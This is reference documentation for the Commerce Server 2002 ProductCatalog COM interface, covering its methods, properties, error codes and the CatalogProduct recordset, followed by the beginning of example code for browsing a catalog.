[Visual Basic]
Function RemoveSpecificationSearchClause(
 pstrSearchHandle As Variant
) As String

Parameters

pstrSearchHandle [C++]
[in, out] A VARIANT that contains the specification search handle from which a constraint is to be removed.
pstrSearchHandle [Visual Basic]
A Variant that contains the specification search handle from which a constraint is to be removed.
pstrPoppedClause [C++]
[out, retval] A pointer to a BSTR used to return the removed clause.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the removed clause.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[C++] The pstrSearchHandle and pstrPoppedClause parameters contain valid data only if the method was accessed successfully.

This method always removes the last constraint that was added to the search using the AddSpecificationSearchClause method. The returned string will be in the same form as the original constraint.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'strRemovedClause will contain the removed clause after the call returns.
Set strRemovedClause = myProductCatalog.RemoveSpecificationSearchClause(strSearchHandle)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveVirtualCatalogRule Method [C++]

ProductCatalog.RemoveVirtualCatalogRule Method [Visual Basic]

Use this method to remove a virtual catalog rule.

Definition

[C++]
HRESULT IProductCatalog3::RemoveVirtualCatalogRule(
  BSTR strCatalogName,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub RemoveVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Variant,
  vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

strCatalogName [C++]
[in] A BSTR that contains the base catalog name.
strCatalogName [Visual Basic]
A String that contains the base catalog name.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in] A VARIANT that contains the variant ID to which the rule applies.
vrVariantID [Visual Basic]
A Variant that contains the variant ID to which the rule applies.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &Hx88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_RULE_NOT_FOUND | [C++] 0x889800FE [Visual Basic] &H889800FE | The rule could not be deleted because it doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the rule for the catalog specified in the strCatalogName parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example removes the rule for the "Shoes" catalog.
myVCatalog.RemoveVirtualCatalogRule("Shoes", "", True)

' The following exampe removes the rule for the "Mens" category
' in the "Shoe" catalog.
myVCatalog.RemoveVirtualCatalogRule("Shoes", "Mens", True)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::SetCatalogAttributes Method [C++]

ProductCatalog.SetCatalogAttributes Method [Visual Basic]

Use this method to set the attributes of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::SetCatalogAttributes(
 _Recordset* pRSCatalogAttributes,
 VARIANT fForceUpdate
);
[Visual Basic]
Sub SetCatalogAttributes(
 pRSCatalogAttributes As _Recordset,
 Optional fForceUpdate As Variant
)

Parameters

pRSCatalogAttributes [C++]
[in] A Recordset object containing the new attributes.
pRSCatalogAttributes [Visual Basic]
A Recordset object containing the new attributes.
fForceUpdate [C++]
[in, optional] A VARIANT that causes a forced update of the catalog attributes.
fForceUpdate [Visual Basic]
A Variant that causes a forced update of the catalog attributes.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_BLANK_LANGUAGE | [C++] 0x889800A5 [Visual Basic] &H889800A5 | The default language associated with this catalog cannot be blank.
E_CAT_CATALOG_DOESN’T_EXIST | [C++] 0x88980002 [Visual Basic] &Hx88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_DEFAULT_LANGUAGE | [C++] 0x889800B3 [Visual Basic] &Hx889800B3 | The default language that you specified does not exists as one of the valid catalog languages.
E_CAT_CATALOG_CHANGED | [C++] 0x88980012 [Visual Basic] &Hx88980012 | The catalog properties has been changed since it was last read.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the GetCatalogAttributes method to get a recordset of the current attributes. After the recordset has been modified, use it as the pRSCatalogAttributes parameter to the SetCatalogAttributes method to write the changes back to the catalog. The time stamps in the recordset will be compared to the time stamps of the attributes being updated for error detection.

The following attributes cannot be changed with this method:

  • CatalogName
  • ProductID
  • CatalogID
  • VariantID
  • IsVirtualCatalog
  • ProductTableUpdated
  • CustomCatalog
  • FreeTextIndexCreated
  • TimeStamp
  • FullTextCatalog
  • DisplayName
  • VirtualCatalogStatus

The DisplayName attribute cannot be modified because the current language of the catalog determines it. To update the display name for a specific language update the DisplayName_<Language> field of the recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example changes the catalog display name for English.

Set rsAttrib = myProductCatalog.Getcatalogattributes
rsAttrib("DisplayName_ENU") = "My Catalog"
myProductCatalog.Setcatalogattributes rsAttrib

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCatalogAttributes

[Visual Basic] ProductCatalog.GetCatalogAttributes


IProductCatalog3::SetCategoryCustomPrice Method [C++]

ProductCatalog.SetCategoryCustomPrice Method [Visual Basic]

The SetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCategoryCustomPrice

[Visual Basic] ProductCatalog.GetCategoryCustomPrice


IProductCatalog3::SetCustomCatalogAttributes Method [C++]

ProductCatalog.SetCustomCatalogAttributes Method [Visual Basic]

The SetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCustomCatalogAttributes

[Visual Basic] ProductCatalog.GetCustomCatalogAttributes


IProductCatalog3 Properties [C++]

ProductCatalog Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
CatalogName | BSTR | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | BSTR | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | BSTR | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | _Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | _Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | _Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.
[Visual Basic]
Property | Type | Description
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | String | Contains the active language. This property is read/write.
RootCategories | Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.


IProductCatalog3::get_CatalogName Property [C++]

ProductCatalog.CatalogName Property [Visual Basic]

The CatalogName property is a read-only String that contains the name of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_CatalogName(
  BSTR* CatalogName
);
[Visual Basic]
Property CatalogName As String

Parameters

CatalogName [C++]
[out, retval] A BSTR used to return the catalog name.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory

Remarks

[C++] The CatalogName parameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::get_IdentifyingProductProperty Property [C++]

ProductCatalog.IdentifyingProductProperty Property [Visual Basic]

The IdentifyingProductProperty property is a read-only String that contains the name of the unique identifier field for the products in this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_IdentifyingProductProperty(
 BSTR* IdentifyingProductProperty
);
[Visual Basic]
Property IdentifyingProductProperty As String

Parameters

IdentifyingProductProperty [C++]
[out, retval] A BSTR used to return the name of the identifying product property.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Out of memory.

Remarks

[C++] The IdentifyingProductProperty parameter contains valid data only if the property was accessed successfully.

The value of this property will always be "ProductID" for a virtual catalog.

The product ID is cached in the ProductCatalog object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingVariantProperty

[Visual Basic] ProductCatalog.IdentifyingVariantProperty


IProductCatalog3::get_IdentifyingVariantProperty Property [C++]

ProductCatalog.IdentifyingVariantProperty Property [Visual Basic]

The IdentifyingProductVariantProperty property is a read-only String that contains the name of the unique identifier field for product variants in this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_IdentifyingVariantProperty(
 BSTR* IdentifyingVariantProperty
);
[Visual Basic]
Property IdentifyingVariantProperty As String

Parameters

IdentifyingVariantProperty [C++]
[out, retval] A BSTR used to return the name of the identifying variant property.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..

Remarks

[C++] The IdentifyingVariantProperty parameter contains valid data only if the property was accessed successfully.

The value of this property will always be "VariantID" for a virtual catalog.

The variant ID is cached in the ProductCatalog object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingProductProperty

[Visual Basic] ProductCatalog.IdentifyingProductProperty


IProductCatalog3::get_Language, put_Language Property [C++]

ProductCatalog.Language Property [Visual Basic]

The Language property is a read/write string that contains the active language of the catalog.

Definition

[C++]

Get method:

HRESULT IProductCatalog3::get_Language(
  BSTR* Language
);

Put method:

HRESULT IProductCatalog3::put_Language(
  BSTR Language
);
[Visual Basic]
Property Language As String

Parameters

Language [C++]
[in] When putting the property, a BSTR that contains the language.
[out, retval] When getting the property, a BSTR used to return the language.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this property can return.

Constant | Value | Description
E_OUTOFMEMORY | [C++] 0x8007000E [Visual Basic] &H8007000E | Ran out of memory.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.

Remarks

[C++] The Language parameter contains valid data only if the property was accessed successfully.

The Language property specifies the culture name that will be used by all methods of this Product Catalog and on the Product and Category objects that are obtained from this ProductCatalog object. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

This value can only be one of the languages supported by the catalog. It defaults to the value of the vrDefaultLanguage parameter specified when the catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetLanguages

[Visual Basic] ProductCatalog.GetLanguages

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog


IProductCatalog3::get_RootCategories Property [C++]

ProductCatalog.RootCategories Property [Visual Basic]

The RootCategories property is a read-only recordset that contains the names of the categories that exist at the root level of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_RootCategories(
  VARIANT vrPropertiesRequired,
  VARIANT_BOOL fAlsoGetIncludedCatalogs
  _Recordset** RootCategories
);
[Visual Basic]
Property RootCategories(
  Optional vrPropertiesRequired As Variant
..Optional fAlsoGetIncludedCatalogs As Boolean
) As _Recordset

Parameters

vrPropertiesRequired [C++]
[in, optional] A VARIANT, subtype String, that contains a comma-separated list of the required property names.
vrPropertiesRequired [Visual Basic]
A VARIANT, subtype String, that contains a comma-separated list of the required property names.
fAlsoGetIncludedCatalogs [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to return included catalogs. A value of True (-1) indicates the RootCategories recordset will contain included catalogs and the root categories. A value of False (0) indicates the RootCategories recordset will only contain the root categories.
fAlsoGetIncludedCatalogs [Visual Basic]
A Boolean that specifies whether to return included catalogs. A value of True (-1) indicates the returned recordset will contain included catalogs and the root categories. A value of False (0) indicates the returned recordset will only contain the root categories. The default value is False (0).
RootCategories [C++]
[out, retval] A Recordset object used to return the root categories.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The RootCategories parameter contains valid data only if the property was accessed successfully.

Any category without parents is considered to be a root category.

[C++] The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Leading numbers in the property names in the vrPropertiesRequired parameter will be trimmed from the corresponding field names in the returned recordset. The data will be correct; only the field names will be incorrect. If this parameter is omitted, then the field names will be correct. Enclose field names that begin with a number in brackets to avoid this problem; for example, oProductCatalog.RootCategories("[123_Prop1],[123_ Prop2]").

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootProducts

[Visual Basic] ProductCatalog.RootProducts


IProductCatalog3::get_RootProducts Property [C++]

ProductCatalog.RootProducts Property [Visual Basic]

The RootProducts property is a read-only recordset that contains the products that exist at the root level of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::get_RootProducts(
 _Recordset** RootProducts
);
[Visual Basic]
Property RootProducts As _Recordset

Parameters

RootProducts [C++]
[out, retval] A Recordset object used to return the root products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The RootProducts parameter contains valid data only if the property was accessed successfully.

Any product that is not contained within a category is considered to be a root product.

[C++] The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Products added by importing a comma-separated values (CSV) file will be root products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsRootProducts = myProductCatalog.RootProducts

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootCategories

[Visual Basic] ProductCatalog.RootCategories


IProductCatalog3::get_SearchableCategories Property [C++]

ProductCatalog.SearchableCategories Property [Visual Basic]

The SearchableCategories property is a read-only recordset that contains the names of all searchable categories.

Definition

[C++]
HRESULT IProductCatalog3::get_SearchableCategories(
 _Recordset** SearchableCategories
);
[Visual Basic]
Property SearchableCategories As _Recordset

Parameters

SearchableCategories [C++]
[out, retval] A Recordset object used to return the names of the searchable categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The SearchableCategories parameter contains valid data only if the property was accessed successfully.

The SearchableCategories property returns the names of all the categories in this catalog that can be queried using a specification search. Whether or not a particular category is specification searchable is determined by the value of the IsSearchable attribute. This property can be set at the time the category is created, or can be changed at any time using the SetCategoryProperties methods of the category object.

The Recordset object returned by this property will contain a single 128-character field called Name. Each row will contain the name of a searchable category.

If there are no searchable categories, a recordset with its EOF property set to VARIANT_TRUE will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory


CatalogProduct Recordset [C++]

CatalogProduct Recordset [Visual Basic]

The fields in this Recordset object will vary, depending on the product definitions in the catalog. The following table contains a list of common fields that will always be part of this Recordset object. Fields for multilingual properties will contain the value for the current language of the catalog.

Field name | Data type
CategoryName | String Maximum of 128 characters
Oid | Integer
DefinitionName | String Maximum of 128 characters
IsSearchable | Small integer
Cy_list_price | Money
TimeStamp | TimeStamp
OriginalPrice | Money
i_ClassType | Integer
ProductID | String Maximum of 256 characters
VariantID | String Maximum of 256 characters
CatalogName | String Maximum of 100 characters
LastModified | datetime
PrimaryParentCategory | String Maximum of 128 characters
UseCategoryPricing | boolean

Note

  • The Oid field is used internally by the Product Catalog System and should not be updated.

See Also

[Visual Basic] ProductCatalog.GuaranteedSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch

[Visual Basic] ProductCatalog.RootCategories

[Visual Basic] ProductCatalog.RootProducts

[C++] IProductCatalog3::GuaranteedSpecificationSearch

[C++] IProductCatalog3::PerformSpecificationSearch

[C++] IProductCatalog3::get_RootCategories

[C++] IProductCatalog3::get_RootProducts


Example Code for Product Catalog Objects

This section provides detailed examples of how to use the objects exposed by the Commerce Server 2002 Product Catalog System. The code examples do not show error checking or certain other formalities required for functional code.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

This section contains:

  • Code to Activate or Deactivate a Product
  • Code to Browse a Catalog
  • Code to Change How a Category is Displayed
  • Code to Find the Available Catalogs
  • Code to Hide Searchable Categories
  • Code to Perform a Search of a Catalog
  • Code to Join an External Table to Product Recordsets
  • Code to Perform a Specification Search of a Catalog
  • Code to Stage Products and Catalogs by Time
  • Code to Use Caching with a Catalog


Code to Activate or Deactivate a Product

Normally, catalog data is visible to users as soon as it is placed in the Product Catalog System. It is possible to activate or deactivate a product in a catalog, that is to make it visible or hide it from users, by adding an additional property to that product, and then filtering on that property.

Use the following steps to implement this scenario:

  1. Define a new property of type number and call it IsActive. Set the AssignToAll attribute to True and the DisplayOnSite attribute to False. Set the default value to either 0 (not available) or 1 (available).
  2. When creating or editing products, a value can be specified for this property, either 0 (not available) or 1 (available).
  3. Filter any recordsets of products, such as those returned from the Category.Products, Category.Search, CatalogManager.Query, CatalogManager.FreeTextSearch, CatalogManager.Search, ProductCatalog.GuaranteedSpecificationSearch, or ProductCatalog.PerformSpecificationSearch methods by specifying an ActiveX Data Objects (ADO) filter on the recordset as "IsActive=1".

    For example, wherever you have code similar to the following:

    rsProducts = oCatalog.GetCategory(strCategoryName).Products

    You need to follow it with:

    rsProducts.filter = "IsActive=1"

Note

  • Caching of HTML can prevent products from appearing on the Web site until the cache is flushed.


Code to Browse a Catalog

This section contains code examples for some of the functions needed to implement browsing. These functions are to find categories in a catalog, to find products in a category, to find product properties, and to display the results. Parameter validation and error handling are not considered in these examples. A more extensive example can be found in the Browse.asp file in the Catalog sitelet, which is in the Commerce Server 2002 Software Development Kit (SDK). The Browse.asp file and its included files demonstrate parameter validation, error handling, and generation of links from recordsets.

The following steps show how to implement browsing:

  1. Get the CatalogManager object and the catalog.

    The CatalogManager object should already be created and initialized in the Global.asa file. Get a local reference to the CatalogManager object and the catalog, as shown in the following code:

    Dim oCatMgr
Dim oCatalog
Set oCatMgr = Application("MSCSCatalogManager")
Set oCatalog = oCatMgr.GetCatalog("Adventure Works Catalog")
  2. Set the catalog language.

    The ProductCatalog object has a language property that allows the user to set the language in which the catalog data is to be displayed. Get a local reference to the ProductCatalog object and set a language for the catalog, as shown in the following code:

    oCatalog.language = "en-us"
  3. Get the categories.

    The categories in a catalog are in a hierarchy. The root categories may or may not have child categories, but they are at the base of the hierarchy. The following example creates a recordset of the root categories:

    Dim rsCategories
Set rsCategories = oCatalog.RootCategories

    The following example shows how the category hierarchy can be traversed. Given a recordset of categories at some level in the hierarchy, the CategoryName field is used to retrieve a recordset of the child categories of the active row in the given recordset:

    Dim strName
' Return the name of the category in the active row of
' the recordset (this would usually be inside a loop).
strName = rsCategories("CategoryName")
Set oCategory = oCatalog.GetCategory(strName)

    After you have the category object, obtaining the child categories is straightforward:

    'oCategory is an existing Category object.
Set rsChildCategories = oCategory.ChildCategories
  4. Get the products.

    The following example assumes that all products are in categories. Root products, that is, products that are not in any category, can exist; however, the usual design calls for all products to belong to a category. Having all products within categories simplifies code and product management. The following code retrieves the products in the "shoes" category:

    Dim rsProducts
Set rsProducts = oCatalog.GetCategory("Boots").Products
  5. Get the details about the product.

    When displaying a product, you will typically want to display some details about that product. The following example creates a recordset of the properties of a specified product:

    ' vProductID is the unique identifier for a product. This example
' uses the ProductCode as the product ID.
Dim rsProductDetail
Set rsProductDetail = _
    oCatalog.GetProduct("AW099-15").GetProductProperties
  6. Display the results.

    The following code example demonstrates how to display a set of products contained in a recordset called rsProducts.

    <br>
<%
' Loop through the recordset of products and
' write out the properties of the products.
' The constants are field names.
